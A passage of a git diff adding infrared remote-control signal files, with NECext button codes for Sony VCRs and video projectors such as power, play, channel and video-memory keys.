02 00 00 00 +command: 46 00 00 00 +# +name: INDEX_MARK +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 48 00 00 00 +# +name: INDEX_ERASE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 49 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4D 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4F 00 00 00 +# +name: EXECUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 51 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 51 00 00 00 +# +name: QUICK_TIMER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 52 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 53 00 00 00 +# +name: INDEX_SEARCH_>> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 56 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 56 00 00 00 +# +name: INDEX_SEARCH_<< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 57 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 57 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 58 00 00 00 +# +name: SP/EP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 58 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5A 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5D 00 00 00 +# +name: SMART_QUE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 5D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 61 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 61 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 62 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 62 00 00 00 +# +name: TIMER_REC_CLEAR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 63 00 00 00 +# +name: CEAR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 63 00 00 00 +# +name: TIMER_CLEAR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 63 00 00 00 +# +name: TIMER_REC_ON/OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 65 00 00 00 +# +name: TIMER_ON/OFF +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 65 00 00 00 +# +name: INSERT_AUDIO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 68 00 00 00 +# +name: INSERT_VIDEO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 69 00 00 00 +# +name: HIGH_SPEED_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7D 00 00 00 +# +name: HI-SPEED_REWIND +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,37.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,37.ir new file mode 100644 index 000000000..92c57dadb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,37.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 00 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 01 00 00 00 +# +name: DATA_CODE +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 02 00 00 00 +# +name: COUNTER_SELECT +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 04 00 00 00 +# +name: X_2 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 09 00 00 00 +# +name: -/-_- +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 0A 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 0A 00 00 00 +# +name: PROGRAM_+ +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 10 00 00 00 +# +name: PROGRAM_- +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 15 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 16 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 17 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 1A 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 1B 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 1C 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 1D 00 00 00 +# +name: SLOW_> +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 23 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 28 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 29 00 00 00 +# +name: TV/VTR +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 2A 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 30 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 31 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 43 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 4D 00 00 00 +# +name: EXECUTE +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 51 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 61 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 19 25 00 00 +command: 62 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,69.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,69.ir new file mode 100644 index 000000000..48d1939c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/25,69.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: SEARCH_SELECT +type: parsed +protocol: NECext +address: 19 45 00 00 +command: 2D 00 00 00 +# +name: PRINT +type: parsed +protocol: NECext +address: 19 45 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir new file mode 100644 index 000000000..89c969fbb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/5,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 51 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir new file mode 100644 index 000000000..7df48171e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/7,-1.ir @@ -0,0 +1,530 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: CH+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: CH- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: X2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 16 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 17 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1A 00 00 00 +# +name: RR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: REV_<< +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: <<_REWIND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: FF_>> +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: RECORD_STANDBY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: TRACKING_AUTO/MANUAL +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: AUTO/MANUAL_TRACKING +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 27 00 00 00 +# +name: SEARCH<< +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: <<_SEARCH +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: SEARCH>> +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: >>_SEARCH +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: TV/VTR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2E 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2F 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2F 00 00 00 +# +name: FRAME_<< +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: <<_FRAME +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 30 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 31 00 00 00 +# +name: >>_FRAME +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 31 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3D 00 00 00 +# +name: SLOW_MOTION_- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3E 00 00 00 +# +name: COUNTER_REMAIN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 41 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 42 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 43 00 00 00 +# +name: TRACKING_+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 44 00 00 00 +# +name: TRACKING_- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 45 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 46 00 00 00 +# +name: INDEX_MARK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 48 00 00 00 +# +name: INDEX_ERASE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 49 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4D 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4F 00 00 00 +# +name: EXECUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 51 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 51 00 00 00 +# +name: QUICK_TIMER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 52 00 00 00 +# +name: INDEX_SEARCH_>> +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 56 00 00 00 +# +name: INDEX_SEARCH_<< +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 57 00 00 00 +# +name: TAPE_SPEED +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 58 00 00 00 +# +name: SP/EP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 58 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5A 00 00 00 +# +name: SKIP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5D 00 00 00 +# +name: SMART_QUE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 5D 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 61 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 62 00 00 00 +# +name: TIMER_REC_CLEAR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 63 00 00 00 +# +name: CEAR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 63 00 00 00 +# +name: TIMER_CLEAR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 63 00 00 00 +# +name: TIMER_REC_ON/OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 65 00 00 00 +# +name: TIMER_ON/OFF +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 65 00 00 00 +# +name: INSERT_AUDIO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 68 00 00 00 +# +name: INSERT_VIDEO +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 69 00 00 00 +# +name: HIGH_SPEED_RR +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 7D 00 00 00 +# +name: HIGH_SPEED_REWIND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 7D 00 00 00 +# +name: HI-SPEED_REWIND +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir new file mode 100644 index 000000000..74bcca805 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/VCR/9,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: SUPERIMPOSE +type: parsed +protocol: NECext +address: 09 00 00 00 +command: 0D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 09 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 09 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 09 00 00 00 +command: 1A 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 09 00 00 00 +command: 1B 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 09 00 00 00 +command: 1C 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 09 00 00 00 +command: 1E 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 09 00 00 00 +command: 26 00 00 00 +# +name: SEARCH_<< +type: parsed +protocol: NECext +address: 09 00 00 00 +command: 27 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/26,42.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/26,42.ir new file mode 100644 index 000000000..faa32d34f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/26,42.ir @@ -0,0 +1,368 @@ +Filetype: IR signals file +Version: 1 +# +name: KEYSTONE +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 3A 00 00 00 +# +name: MS_SLIDE +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 3C 00 00 00 +# +name: STANDARD +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 3E 00 00 00 +# +name: SIDE_SHOT_- +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 3F 00 00 00 +# +name: SIDE_SHOT_+ +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 3F 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 50 00 00 00 +# +name: VID_MEM_OFF +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 50 00 00 00 +# +name: VIDEO_MEMORY_-_OFF +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 50 00 00 00 +# +name: MEM_1 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 51 00 00 00 +# +name: VIDEO_MEMORY_1 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 51 00 00 00 +# +name: DYNAMIC +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 51 00 00 00 +# +name: VIDEO_MEM_1 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 51 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 51 00 00 00 +# +name: VIDEO_MEMORY_-_1 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 51 00 00 00 +# +name: MEM_2 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 52 00 00 00 +# +name: VIDEO_MEMORY_2 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 52 00 00 00 +# +name: VIDEO_MEM_2 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 52 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 52 00 00 00 +# +name: VIDEO_MEMORY_-_2 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 52 00 00 00 +# +name: MEM_3 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 53 00 00 00 +# +name: VIDEO_MEMORY_3 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 53 00 00 00 +# +name: CINEMA +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 53 00 00 00 +# +name: VIDEO_MEM_3 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 53 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 53 00 00 00 +# +name: VIDEO_MEMORY_-_3 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 53 00 00 00 +# +name: MEM_4 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 54 00 00 00 +# +name: VIDEO_MEMORY_4 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 54 00 00 00 +# +name: USER_1 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 54 00 00 00 +# +name: PIC_MODE_1 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 54 00 00 00 +# +name: VIDEO_MEM_4 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 54 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 54 00 00 00 +# +name: VIDEO_MEMORY_-_4 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 54 00 00 00 +# +name: MEM_5 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 55 00 00 00 +# +name: VIDEO_MEMORY_5 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 55 00 00 00 +# +name: USER2 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 55 00 00 00 +# +name: PIC_MODE_2 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 55 00 00 00 +# +name: VIDEO_MEM_5 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 55 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 55 00 00 00 +# +name: VIDEO_MEMORY_-_5 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 55 00 00 00 +# +name: MEM_6 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 56 00 00 00 +# +name: VIDEO_MEMORY_6 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 56 00 00 00 +# +name: USER3 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 56 00 00 00 +# +name: PIC_MODE_3 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 56 00 00 00 +# +name: VIDEO_MEM_6 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 56 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 56 00 00 00 +# +name: VIDEO_MEMORY_-_6 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 56 00 00 00 +# +name: VIDEO_MEMORY_7 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 57 00 00 00 +# +name: VIDEO_MEMORY_8 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 58 00 00 00 +# +name: VIDEO_MEMORY_9 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 59 00 00 00 +# +name: VIDEO_MEMORY_10 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 5A 00 00 00 +# +name: APA +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 60 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 66 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 67 00 00 00 +# +name: FUNTION_1 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 68 00 00 00 +# +name: FUNTION_2 +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 69 00 00 00 +# +name: PLUS +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 6A 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 6A 00 00 00 +# +name: MINUS +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 6B 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 6B 00 00 00 +# +name: WIDE_MODE +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 6E 00 00 00 +# +name: LENS +type: parsed +protocol: NECext +address: 1A 2A 00 00 +command: 78 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/84,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/84,-1.ir new file mode 100644 index 000000000..04ec7fe80 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Video Projector/84,-1.ir @@ -0,0 +1,716 @@ +Filetype: IR signals file +Version: 1 +# +name: SWITCHER_1 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0A 00 00 00 +# +name: SW_1 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0A 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0A 00 00 00 +# +name: SWITCHER_2 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0B 00 00 00 +# +name: SW_2 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0B 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0B 00 00 00 +# +name: SWITCHER_3 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0C 00 00 00 +# +name: SW_3 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0C 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0C 00 00 00 +# +name: SWITCHER_4 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0D 00 00 00 +# +name: SW_4 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0D 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0D 00 00 00 +# +name: SWITCHER_5 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0E 00 00 00 +# +name: SW_5 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0E 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0E 00 00 00 +# +name: SWITCHER_6 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0F 00 00 00 +# +name: SW_6 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0F 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 0F 00 00 00 +# +name: SWITCHER_7 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 10 00 00 00 +# +name: SW_7 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 10 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 10 00 00 00 +# +name: SWITCHER_8 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 11 00 00 00 +# +name: SW_8 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 11 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 11 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 12 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 13 00 00 00 +# +name: VOLUME- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 13 00 00 00 +# +name: AUDIO_MUTE +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 14 00 00 00 +# +name: AUDIO_MUTING +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 14 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 15 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 18 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 19 00 00 00 +# +name: COLOR_+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 1A 00 00 00 +# +name: COLOR_- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 1B 00 00 00 +# +name: PICTURE_- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 1D 00 00 00 +# +name: BRIGHTNESS_+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 1E 00 00 00 +# +name: BRIGHTNESS_- +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 1F 00 00 00 +# +name: TINT_+ +type: parsed +protocol: NECext +address: 54 00 00 00 +command: 20 00 00 00 +# +name: HUE_+ +type: parsed +protocol: NECext +address: 54 00 00 00 